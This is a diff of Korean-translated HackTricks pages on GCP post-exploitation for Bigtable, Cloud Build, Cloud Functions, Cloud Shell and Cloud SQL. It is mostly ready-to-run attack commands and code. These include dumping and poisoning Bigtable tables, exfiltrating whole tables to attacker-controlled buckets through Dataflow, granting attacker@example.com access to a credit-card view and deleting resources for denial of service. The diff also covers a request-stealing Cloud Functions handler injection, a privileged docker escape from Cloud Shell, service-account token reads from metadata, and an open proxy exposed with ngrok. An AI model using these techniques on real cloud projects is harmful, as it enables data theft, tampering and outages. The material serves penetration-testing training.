||||
|
||||
모든 버전과 서비스의 소스 코드는 **`staging.<proj-id>.appspot.com`**이라는 이름의 **버킷**에 **저장되어** 있습니다. 이 버킷에 대한 쓰기 권한이 있다면 소스 코드를 읽고 **취약점** 및 **민감한 정보**를 검색할 수 있습니다.
|
||||
모든 버전 및 서비스의 소스 코드는 이름이 **`staging.<proj-id>.appspot.com`**인 **버킷에 저장됩니다**. 해당 버킷에 쓰기 권한이 있다면 소스 코드를 읽어 **취약점** 및 **민감한 정보**를 검색할 수 있습니다.
|
||||
|
||||
### 소스 코드 수정
|
||||
|
||||
자격 증명이 전송되고 있다면 이를 훔치기 위해 소스 코드를 수정하거나 웹 공격을 수행하여 변조할 수 있습니다.
|
||||
소스 코드를 수정하여 자격 증명이 전송되고 있다면 이를 탈취하거나 defacement web attack를 수행하세요.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -11,30 +11,46 @@ Bigtable에 대한 자세한 정보는 다음을 확인하세요:
|
||||
{{#endref}}
|
||||
|
||||
> [!TIP]
|
||||
> `cbt` CLI를 한 번 Cloud SDK를 통해 설치하면 아래 명령들이 로컬에서 동작합니다:
|
||||
> 아래 명령이 로컬에서 동작하도록 `cbt` CLI를 Cloud SDK를 통해 한 번 설치하세요:
|
||||
>
|
||||
> <details>
|
||||
>
|
||||
> <summary>cbt CLI 설치</summary>
|
||||
>
|
||||
> ```bash
|
||||
> gcloud components install cbt
|
||||
> ```
|
||||
>
|
||||
> </details>
|
||||
|
||||
### 행 조회
|
||||
### 행 읽기
|
||||
|
||||
**권한:** `bigtable.tables.readRows`
|
||||
|
||||
`cbt`는 Cloud SDK에 포함되어 있으며 별도의 미들웨어 없이 admin/data APIs와 통신합니다. 이를 침해된 프로젝트/인스턴스로 지정하고 테이블에서 바로 행을 덤프하세요. 일부만 확인하려면 스캔을 제한하세요.
|
||||
`cbt`는 Cloud SDK에 포함되어 있으며 중간 미들웨어 없이 admin/data APIs와 통신합니다. compromised project/instance를 가리켜 테이블에서 행을 바로 덤프할 수 있습니다. 잠깐 확인만 하면 스캔 범위를 제한하세요.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bigtable 항목 읽기</summary>
|
||||
```bash
|
||||
# Install cbt
|
||||
gcloud components update
|
||||
gcloud components install cbt
|
||||
|
||||
# Read entries with creds of gcloud
|
||||
# Read entries with creds of gcloud
|
||||
cbt -project=<victim-proj> -instance=<instance-id> read <table-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
### 행 쓰기
|
||||
|
||||
**권한:** `bigtable.tables.mutateRows`, (변경 사항을 확인하려면 `bigtable.tables.readRows`가 필요합니다).
|
||||
**권한:** `bigtable.tables.mutateRows`, (변경을 확인하려면 `bigtable.tables.readRows`가 필요합니다).
|
||||
|
||||
같은 도구를 사용해 임의의 셀을 upsert하세요. 이것은 configs에 backdoor를 심거나, web shells를 drop하거나, poisoned dataset rows를 plant하기 위한 가장 빠른 방법입니다.
|
||||
같은 도구로 임의의 셀을 upsert하세요. 이는 설정(configs)에 backdoor를 심거나, web shells를 배치하거나, poisoned dataset rows를 심는 가장 빠른 방법입니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>악성 행 삽입</summary>
|
||||
```bash
|
||||
# Inject a new row
|
||||
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>
|
||||
@@ -44,16 +60,22 @@ cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 prof
|
||||
# Verify the injected row
|
||||
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337
|
||||
```
|
||||
`cbt set`은 `@/path` 구문을 통해 원시 바이트를 허용하므로, downstream services가 기대하는 대로 compiled payloads나 serialized protobufs를 정확히 push할 수 있습니다.
|
||||
</details>
|
||||
|
||||
### 행을 버킷으로 덤프하기
|
||||
`cbt set`은 `@/path` 구문을 통해 raw bytes를 허용하므로, 컴파일된 페이로드나 직렬화된 protobuf를 다운스트림 서비스가 기대하는 형식 그대로 푸시할 수 있습니다.
|
||||
|
||||
### 행을 자신의 버킷으로 내보내기
|
||||
|
||||
**권한:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Dataflow 작업을 실행하여 행을 당신이 제어하는 GCS 버킷으로 스트리밍하면 전체 테이블의 내용을 공격자가 제어하는 버킷으로 exfiltrate할 수 있습니다.
|
||||
행을 attacker가 제어하는 GCS 버킷으로 스트리밍하는 Dataflow job을 실행하면 전체 테이블의 내용을 exfiltrate할 수 있습니다.
|
||||
|
||||
> [!NOTE]
|
||||
> 해당 내보내기 작업을 수행할 충분한 권한을 가진 SA에 대해 `iam.serviceAccounts.actAs` 권한이 필요합니다 (기본적으로 별도 지정하지 않으면 default compute SA가 사용됩니다).
|
||||
> 내보내기를 수행할 수 있는 충분한 권한을 가진 일부 SA에 대해 `iam.serviceAccounts.actAs` 권한이 필요합니다(기본적으로 별도 지정이 없는 한 default compute SA가 사용됩니다).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bigtable를 GCS 버킷으로 내보내기</summary>
|
||||
```bash
|
||||
gcloud dataflow jobs run <job-name> \
|
||||
--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
|
||||
@@ -70,19 +92,25 @@ gcloud dataflow jobs run dump-bigtable3 \
|
||||
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/ \
|
||||
--staging-location=gs://deleteme20u9843rhfioue/staging/
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!NOTE]
|
||||
> JSON 대신 Parquet/SequenceFile 출력을 원하면 템플릿을 `Cloud_Bigtable_to_GCS_Parquet` 또는 `Cloud_Bigtable_to_GCS_SequenceFile`로 전환하세요. 권한은 동일하며, 변경되는 것은 템플릿 경로뿐입니다.
|
||||
> Switch the template to `Cloud_Bigtable_to_GCS_Parquet` or `Cloud_Bigtable_to_GCS_SequenceFile` if you want Parquet/SequenceFile outputs instead of JSON. The permissions are the same; only the template path changes.
|
||||
|
||||
### 행 가져오기
|
||||
|
||||
**권한:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
|
||||
공격자가 제어하는 버킷에 있는 데이터를, Dataflow job을 실행하여 자신이 제어하는 GCS 버킷으로 행을 스트리밍함으로써 전체 테이블 내용을 가져오는 것이 가능합니다. 이를 위해 공격자는 먼저 예상되는 스키마에 맞는 데이터로 구성된 parquet 파일을 생성해야 합니다. 공격자는 이전 기법을 따라 `Cloud_Bigtable_to_GCS_Parquet` 설정으로 데이터를 parquet 형식으로 먼저 내보낸 뒤, 다운로드한 parquet 파일에 새 항목을 추가할 수 있습니다
|
||||
공격자가 제어하는 버킷에 있는 전체 테이블의 내용을, 행을 스트리밍하는 Dataflow job을 실행하여 당신이 제어하는 GCS 버킷으로 가져올 수 있습니다. 이를 위해 공격자는 먼저 예상되는 스키마에 맞춘 가져올 데이터를 포함한 parquet 파일을 생성해야 합니다. 공격자는 이전 기법을 따라 `Cloud_Bigtable_to_GCS_Parquet` 설정으로 데이터를 parquet 형식으로 먼저 내보내고, 다운로드한 parquet 파일에 새로운 항목을 추가할 수 있습니다.
|
||||
|
||||
|
||||
|
||||
> [!NOTE]
|
||||
> 내보내기를 수행하려면 충분한 권한을 가진 일부 SA에 대해 `iam.serviceAccounts.actAs` 권한이 필요함에 유의하세요 (기본적으로, 별도 명시가 없으면 기본 compute SA가 사용됩니다).
|
||||
> 내보내기를 수행할 충분한 권한을 가진 서비스 계정(SA)에 대해 `iam.serviceAccounts.actAs` 권한이 필요합니다(별도 지정이 없는 경우 기본 compute SA가 사용됩니다).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>GCS 버킷에서 Bigtable로 가져오기</summary>
|
||||
```bash
|
||||
gcloud dataflow jobs run import-bt-$(date +%s) \
|
||||
--region=<REGION> \
|
||||
@@ -99,11 +127,17 @@ gcloud dataflow jobs run import-bt-$(date +%s) \
|
||||
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
|
||||
--staging-location=gs://deleteme20u9843rhfioue/staging/
|
||||
```
|
||||
</details>
|
||||
|
||||
### 백업 복원
|
||||
|
||||
**권한:** `bigtable.backups.restore`, `bigtable.tables.create`.
|
||||
|
||||
이러한 권한을 가진 공격자는 자신이 제어하는 새 테이블로 백업을 복원하여 이전의 민감한 데이터를 복구할 수 있습니다.
|
||||
이 권한을 가진 공격자는 자신이 제어하는 새 테이블로 백업을 복원하여 이전의 민감한 데이터를 복구할 수 있습니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bigtable 백업 복원</summary>
|
||||
```bash
|
||||
gcloud bigtable backups list --instance=<INSTANCE_ID_SOURCE> \
|
||||
--cluster=<CLUSTER_ID_SOURCE>
|
||||
@@ -115,16 +149,22 @@ gcloud bigtable instances tables restore \
|
||||
--destination-instance=<INSTANCE_ID_DESTINATION> \
|
||||
--project=<PROJECT_ID_DESTINATION>
|
||||
```
|
||||
### 삭제된 테이블 복구
|
||||
</details>
|
||||
|
||||
### 테이블 복구
|
||||
|
||||
**권한:** `bigtable.tables.undelete`
|
||||
|
||||
Bigtable는 일반적으로 기본값으로 7일의 유예 기간을 갖는 soft-deletion(소프트 삭제)을 지원합니다. 이 기간 동안 `bigtable.tables.undelete` 권한을 가진 공격자는 최근 삭제된 테이블을 복원해 모든 데이터를 복구할 수 있으며, 파기된 것으로 여겨진 민감한 정보에 접근할 수 있습니다.
|
||||
Bigtable은 일반적으로 기본값으로 7일인 유예 기간(grace period)을 가진 소프트 삭제를 지원합니다. 이 기간 동안 `bigtable.tables.undelete` 권한을 가진 공격자는 최근에 삭제된 테이블을 복원하고 모든 데이터를 복구하여 파기된 것으로 여겨졌던 민감한 정보에 접근할 수 있습니다.
|
||||
|
||||
이는 특히 다음과 같은 상황에서 유용합니다:
|
||||
- 사건 대응 중 방어팀이 삭제한 테이블에서 데이터 복구
|
||||
- 의도적으로 정리(삭제)된 과거 데이터에 접근
|
||||
- 우발적이거나 악의적인 삭제를 되돌려 지속성 유지
|
||||
특히 다음과 같은 상황에서 유용합니다:
|
||||
- 사건 대응 중 방어자(defenders)가 삭제한 테이블에서 데이터 복구
|
||||
- 의도적으로 삭제된 과거 데이터에 접근
|
||||
- 우발적이거나 악의적인 삭제를 되돌려 persistence를 유지
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bigtable 테이블 복구</summary>
|
||||
```bash
|
||||
# List recently deleted tables (requires bigtable.tables.list)
|
||||
gcloud bigtable instances tables list --instance=<instance-id> \
|
||||
@@ -134,18 +174,24 @@ gcloud bigtable instances tables list --instance=<instance-id> \
|
||||
gcloud bigtable instances tables undelete <table-id> \
|
||||
--instance=<instance-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!NOTE]
|
||||
> undelete 작업은 구성된 보존 기간(기본값 7일) 내에서만 작동합니다. 이 기간이 지나면 테이블과 해당 데이터는 영구적으로 삭제되며 이 방법으로 복구할 수 없습니다.
|
||||
|
||||
|
||||
### Authorized Views 생성
|
||||
### 권한 있는 뷰 생성
|
||||
|
||||
**권한:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`
|
||||
**Permissions:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`
|
||||
|
||||
Authorized views를 사용하면 테이블의 선별된 하위 집합을 제공할 수 있습니다. 최소 권한 원칙을 따르기보다, 당신이 신경 쓰는 **정확한 민감한 열/행 집합**만 게시하고 자신의 principal을 whitelist하세요.
|
||||
Authorized views를 사용하면 테이블의 선별된 하위 집합을 표시할 수 있습니다. 최소 권한(least privilege)을 준수하는 대신, 관심 있는 민감한 열/행 집합을 **정확히** 공개하고 자신의 주체를 화이트리스트에 올리는 데 사용하세요.
|
||||
|
||||
> [!WARNING]
|
||||
> 문제는 authorized view를 생성하려면 기본 테이블에서 행을 읽고 수정할 수 있어야 하므로 추가 권한을 얻는 것이 아니며, 따라서 이 기법은 대부분 쓸모가 없습니다.
|
||||
> 문제는 권한 있는 뷰를 생성하려면 기본 테이블에서 행을 읽고 변경(mutate)할 수 있어야 하기 때문에 추가 권한을 얻는 것이 아니며, 따라서 이 기법은 대부분 쓸모가 없습니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>권한 있는 뷰 생성</summary>
|
||||
```bash
|
||||
cat <<'EOF' > /tmp/credit-cards.json
|
||||
{
|
||||
@@ -168,13 +214,19 @@ gcloud bigtable authorized-views add-iam-policy-binding card-dump \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--member='user:<attacker@example.com>' --role='roles/bigtable.reader'
|
||||
```
|
||||
액세스가 Authorized View 단위로 범위가 지정되기 때문에, 방어자는 종종 당신이 방금 새로운 고감도 엔드포인트를 생성했다는 사실을 간과합니다.
|
||||
</details>
|
||||
|
||||
### Authorized Views 읽기
|
||||
액세스가 뷰에 한정되기 때문에 수비 측은 방금 새로 생성한 민감도 높은 엔드포인트를 종종 간과합니다.
|
||||
|
||||
**권한:** `bigtable.authorizedViews.readRows`
|
||||
### 권한 있는 뷰 읽기
|
||||
|
||||
Authorized View에 접근 권한이 있으면, read 요청에서 authorized view 이름을 지정하여 Bigtable client libraries를 사용해 해당 Authorized View의 데이터를 읽을 수 있습니다. Authorized View는 테이블에서 접근할 수 있는 내용을 제한할 가능성이 있다는 점에 유의하세요. 아래는 Python을 사용하는 예시입니다:
|
||||
**Permissions:** `bigtable.authorizedViews.readRows`
|
||||
|
||||
Authorized View에 접근 권한이 있다면, read 요청에서 authorized view 이름을 지정하여 Bigtable client libraries를 사용해 해당 뷰의 데이터를 읽을 수 있습니다. authorized view는 테이블에서 접근할 수 있는 내용을 제한할 가능성이 있다는 점에 유의하세요. 아래는 Python을 사용한 예시입니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>권한 있는 뷰에서 읽기 (Python)</summary>
|
||||
```python
|
||||
from google.cloud import bigtable
|
||||
from google.cloud.bigtable_v2 import BigtableClient as DataClient
|
||||
@@ -209,19 +261,25 @@ qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'v
|
||||
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
|
||||
print(f" {family}:{qualifier} = {value}")
|
||||
```
|
||||
</details>
|
||||
|
||||
### Denial of Service via Delete Operations
|
||||
|
||||
**권한:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`
|
||||
|
||||
Bigtable의 삭제 권한들은 denial of service attacks에 악용될 수 있습니다. 이러한 권한을 가진 공격자는 중요한 Bigtable 리소스를 삭제해 운영을 방해할 수 있습니다:
|
||||
Bigtable의 삭제 권한은 denial of service attacks에 악용될 수 있습니다. 이러한 권한을 가진 공격자는 중요한 Bigtable 리소스를 삭제하여 운영을 중단시킬 수 있습니다:
|
||||
|
||||
- **`bigtable.appProfiles.delete`**: 애플리케이션 프로필을 삭제하여 클라이언트 연결 및 라우팅 구성이 중단됩니다
|
||||
- **`bigtable.authorizedViews.delete`**: authorized views를 제거하여 애플리케이션의 정당한 접근 경로를 차단합니다
|
||||
- **`bigtable.authorizedViews.deleteTagBinding`**: authorized views에서 태그 바인딩을 제거합니다
|
||||
- **`bigtable.appProfiles.delete`**: 애플리케이션 프로파일을 삭제하여 클라이언트 연결 및 라우팅 구성을 중단시킵니다
|
||||
- **`bigtable.authorizedViews.delete`**: authorized view를 제거하여 애플리케이션의 정상적인 접근 경로를 차단합니다
|
||||
- **`bigtable.authorizedViews.deleteTagBinding`**: authorized view에서 태그 바인딩을 제거합니다
|
||||
- **`bigtable.backups.delete`**: 백업 스냅샷을 파기하여 재해 복구 옵션을 없앱니다
|
||||
- **`bigtable.clusters.delete`**: 전체 클러스터를 삭제하여 즉시 데이터 사용 불가 상태를 초래합니다
|
||||
- **`bigtable.instances.delete`**: 전체 Bigtable 인스턴스를 제거하여 모든 테이블과 구성을 삭제합니다
|
||||
- **`bigtable.tables.delete`**: 개별 테이블을 삭제하여 데이터 손실 및 애플리케이션 장애를 초래합니다
|
||||
- **`bigtable.tables.delete`**: 개별 테이블을 삭제하여 데이터 손실과 애플리케이션 장애를 일으킵니다
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bigtable 리소스 삭제</summary>
|
||||
```bash
|
||||
# Delete a table
|
||||
gcloud bigtable instances tables delete <table-id> \
|
||||
@@ -246,7 +304,9 @@ gcloud bigtable clusters delete <cluster-id> \
|
||||
# Delete an entire instance
|
||||
gcloud bigtable instances delete <instance-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!WARNING]
|
||||
> 삭제 작업은 종종 즉시 수행되며 되돌릴 수 없습니다. 이러한 명령은 영구적인 데이터 손실과 심각한 서비스 중단을 초래할 수 있으므로 테스트하기 전에 백업이 있는지 확인하세요.
|
||||
> 삭제 작업은 종종 즉시 실행되며 되돌릴 수 없습니다. 이러한 명령을 테스트하기 전에 백업이 존재하는지 확인하세요. 영구적인 데이터 손실 및 심각한 서비스 중단을 초래할 수 있습니다.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# GCP - Cloud Build Post Exploitation
|
||||
# GCP - Cloud Build 포스트 익스플로이테이션
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,11 @@ Cloud Build에 대한 자세한 정보는 다음을 확인하세요:
|
||||
|
||||
### `cloudbuild.builds.approve`
|
||||
|
||||
이 권한을 사용하면 **승인이 필요한 codebuild의 실행을 승인**할 수 있습니다.
|
||||
이 권한이 있으면 **승인이 필요한 codebuild**의 실행을 승인할 수 있습니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Cloud Build 실행 승인</summary>
|
||||
```bash
|
||||
# Check the REST API in https://cloud.google.com/build/docs/api/reference/rest/v1/projects.locations.builds/approve
|
||||
curl -X POST \
|
||||
@@ -24,4 +28,6 @@ object (ApprovalResult)
|
||||
}}' \
|
||||
"https://cloudbuild.googleapis.com/v1/projects/<PROJECT_ID>/locations/<LOCATION>/builds/<BUILD_ID>:approve"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Functions
|
||||
|
||||
Cloud Functions에 대한 정보를 찾으려면:
|
||||
Cloud Functions에 대한 정보는 다음에서 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-functions-enum.md
|
||||
@@ -12,20 +12,30 @@ Cloud Functions에 대한 정보를 찾으려면:
|
||||
|
||||
### `cloudfunctions.functions.sourceCodeGet`
|
||||
|
||||
이 권한을 사용하면 **Cloud Function의 소스 코드를 다운로드할 수 있는 서명된 URL을 얻을 수 있습니다**:
|
||||
이 권한으로 Cloud Function의 **소스 코드를 다운로드할 수 있는 서명된 URL**을 얻을 수 있습니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>소스 코드 다운로드를 위한 서명된 URL 얻기</summary>
|
||||
```bash
|
||||
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
|
||||
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
### Cloud Function 요청 훔치기
|
||||
</details>
|
||||
|
||||
Cloud Function이 사용자가 전송하는 민감한 정보를 관리하고 있다면(예: 비밀번호 또는 토큰), 충분한 권한이 있다면 **함수의 소스 코드를 수정하고** 이 정보를 유출할 수 있습니다.
|
||||
### Cloud Function 요청 탈취
|
||||
|
||||
게다가, python으로 실행되는 Cloud Functions는 **flask**를 사용하여 웹 서버를 노출합니다. 만약 flaks 프로세스 내에서 코드 주입 취약점(예: SSTI 취약점)을 발견한다면, **HTTP 요청을 받을 함수 핸들러를 덮어쓰는** 것이 가능하며, 이는 **악성 함수**로, 요청을 정당한 핸들러에 전달하기 전에 **요청을 유출**할 수 있습니다.
|
||||
사용자가 전송하는 민감한 정보를 Cloud Function이 관리하고 있다면(예: 비밀번호 또는 토큰), 충분한 권한이 있으면 **modify the source code of the function and exfiltrate** 방식으로 해당 정보를 빼낼 수 있습니다.
|
||||
|
||||
예를 들어, 이 코드는 공격을 구현합니다:
|
||||
게다가 python에서 실행되는 Cloud Functions는 웹 서버를 노출하기 위해 **flask**를 사용합니다. 만약 flaks 프로세스 내부에서 코드 주입 취약점(예: SSTI)을 발견한다면, HTTP 요청을 수신할 함수 핸들러를 **override the function handler**하여 **malicious function**으로 바꾸고, 이 함수가 정식 핸들러에 요청을 전달하기 전에 요청을 **exfiltrate the request**할 수 있습니다.
|
||||
|
||||
For example this code implements the attack:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Cloud Function 요청 탈취 (Python injection)</summary>
|
||||
```python
|
||||
import functions_framework
|
||||
|
||||
@@ -122,4 +132,8 @@ return "Injection completed!"
|
||||
except Exception as e:
|
||||
return str(e)
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,22 +12,38 @@ Cloud Shell에 대한 자세한 정보는 다음을 확인하세요:
|
||||
|
||||
### Container Escape
|
||||
|
||||
Google Cloud Shell은 컨테이너 내에서 실행되므로, 다음을 수행하여 **호스트로 쉽게 탈출할 수 있습니다**:
|
||||
Google Cloud Shell은 컨테이너 안에서 실행된다는 점에 유의하세요. 다음과 같이 하면 **easily escape to the host** 할 수 있습니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Container escape commands</summary>
|
||||
```bash
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
|
||||
```
|
||||
이것은 구글에 의해 취약점으로 간주되지 않지만, 해당 환경에서 발생하는 일에 대한 더 넓은 시각을 제공합니다.
|
||||
</details>
|
||||
|
||||
게다가, 호스트에서 서비스 계정 토큰을 찾을 수 있다는 점에 유의하세요:
|
||||
이것은 google에서 취약점으로 간주되지는 않지만, 해당 env에서 무슨 일이 일어나고 있는지 더 넓은 시각을 제공합니다.
|
||||
|
||||
또한, 호스트에서 service account token을 찾을 수 있다는 점에 주목하세요:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Get service account from metadata</summary>
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
|
||||
default/
|
||||
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
|
||||
```
|
||||
다음 범위와 함께:
|
||||
</details>
|
||||
|
||||
다음 스코프와 함께:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>서비스 계정 스코프 가져오기</summary>
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
|
||||
|
||||
@@ -35,48 +51,92 @@ https://www.googleapis.com/auth/devstorage.read_only
|
||||
https://www.googleapis.com/auth/logging.write
|
||||
https://www.googleapis.com/auth/monitoring.write
|
||||
```
|
||||
</details>
|
||||
|
||||
LinPEAS로 메타데이터 열거:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>LinPEAS로 메타데이터 열거</summary>
|
||||
```bash
|
||||
cd /tmp
|
||||
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
|
||||
sh linpeas.sh -o cloud
|
||||
```
|
||||
[https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions)를 사용한 후 **권한이 발견되지 않았습니다**...
|
||||
</details>
|
||||
|
||||
Service Account의 토큰으로 [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions)를 사용했지만 **권한이 발견되지 않았습니다**...
|
||||
|
||||
### 프록시로 사용하기
|
||||
|
||||
구글 클라우드 셸 인스턴스를 프록시로 사용하려면 다음 명령어를 실행해야 합니다(또는 .bashrc 파일에 삽입하세요):
|
||||
google cloud shell 인스턴스를 프록시로 사용하려면 다음 명령어들을 실행해야 합니다(또는 .bashrc 파일에 삽입):
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Squid proxy 설치</summary>
|
||||
```bash
|
||||
sudo apt install -y squid
|
||||
```
|
||||
**squid.conf** 파일을 다음 설정으로 생성하세요:
|
||||
</details>
|
||||
|
||||
참고로 Squid는 HTTP 프록시 서버입니다. 다음 설정으로 **squid.conf** 파일을 생성하세요:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>squid.conf 파일 생성</summary>
|
||||
```bash
|
||||
http_port 3128
|
||||
cache_dir /var/cache/squid 100 16 256
|
||||
acl all src 0.0.0.0/0
|
||||
http_access allow all
|
||||
```
|
||||
**squid.conf** 파일을 **/etc/squid**로 복사합니다.
|
||||
</details>
|
||||
|
||||
**squid.conf** 파일을 **/etc/squid**로 복사하세요
|
||||
|
||||
<details>
|
||||
|
||||
<summary>config을 /etc/squid로 복사</summary>
|
||||
```bash
|
||||
sudo cp squid.conf /etc/squid
|
||||
```
|
||||
</details>
|
||||
|
||||
마지막으로 squid 서비스를 실행합니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Squid 서비스 시작</summary>
|
||||
```bash
|
||||
sudo service squid start
|
||||
```
|
||||
ngrok을 사용하여 프록시를 외부에서 사용할 수 있도록 하십시오:
|
||||
</details>
|
||||
|
||||
ngrok을 사용해 proxy를 외부에서 접근 가능하게 하세요:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>ngrok으로 proxy를 노출하기</summary>
|
||||
```bash
|
||||
./ngrok tcp 3128
|
||||
```
|
||||
tcp:// URL를 복사한 후 실행합니다. 브라우저에서 프록시를 실행하려면 tcp:// 부분과 포트를 제거하고 포트를 브라우저 프록시 설정의 포트 필드에 입력하는 것이 좋습니다(스쿼드는 HTTP 프록시 서버입니다).
|
||||
</details>
|
||||
|
||||
시작 시 더 나은 사용을 위해 .bashrc 파일에 다음 줄이 있어야 합니다:
|
||||
실행한 후 tcp:// URL을 복사하세요. 브라우저에서 proxy를 실행하려면 tcp:// 부분과 port를 제거하고 브라우저 proxy 설정의 port 필드에 포트 번호를 넣는 것이 좋습니다 (squid는 http proxy 서버입니다).
|
||||
|
||||
시작 시 편리하게 사용하려면 .bashrc 파일에 다음 줄을 추가하세요:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>자동 시작을 위해 .bashrc에 추가</summary>
|
||||
```bash
|
||||
sudo apt install -y squid
|
||||
sudo cp squid.conf /etc/squid/
|
||||
sudo service squid start
|
||||
cd ngrok;./ngrok tcp 3128
|
||||
```
|
||||
지침은 [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)에서 복사되었습니다. Cloud Shell에서 데이터베이스 및 심지어 Windows와 같은 모든 종류의 소프트웨어를 실행하기 위한 다른 기발한 아이디어는 해당 페이지를 확인하세요.
|
||||
</details>
|
||||
|
||||
해당 지침은 [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)에서 복사되었습니다. 해당 페이지에서 Cloud Shell에서 모든 종류의 소프트웨어(데이터베이스 및 심지어 windows까지)를 실행하는 다른 기발한 아이디어를 확인하세요.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,11 @@ Cloud SQL에 대한 자세한 정보는 다음을 확인하세요:
|
||||
|
||||
### `cloudsql.instances.update`, ( `cloudsql.instances.get`)
|
||||
|
||||
데이터베이스에 연결하려면 **데이터베이스 포트에 대한 접근 권한**과 **사용자 이름** 및 **비밀번호**를 알아야 하며, IAM 요구 사항은 없습니다. 따라서 데이터베이스에 공용 IP 주소가 있다고 가정할 때 접근하는 쉬운 방법은 허용된 네트워크를 업데이트하고 **자신의 IP 주소가 접근할 수 있도록 허용하는 것입니다**.
|
||||
데이터베이스에 연결하려면 **데이터베이스 포트에 대한 접근 권한**과 **username** 및 **password**만 알고 있으면 됩니다, IAM 요구사항은 없습니다. 따라서 데이터베이스에 퍼블릭 IP 주소가 있는 경우, 허용된 네트워크를 업데이트하여 **자신의 IP 주소가 접근할 수 있도록 허용**하는 것이 쉬운 방법입니다.
|
||||
|
||||
<details>
|
||||
|
||||
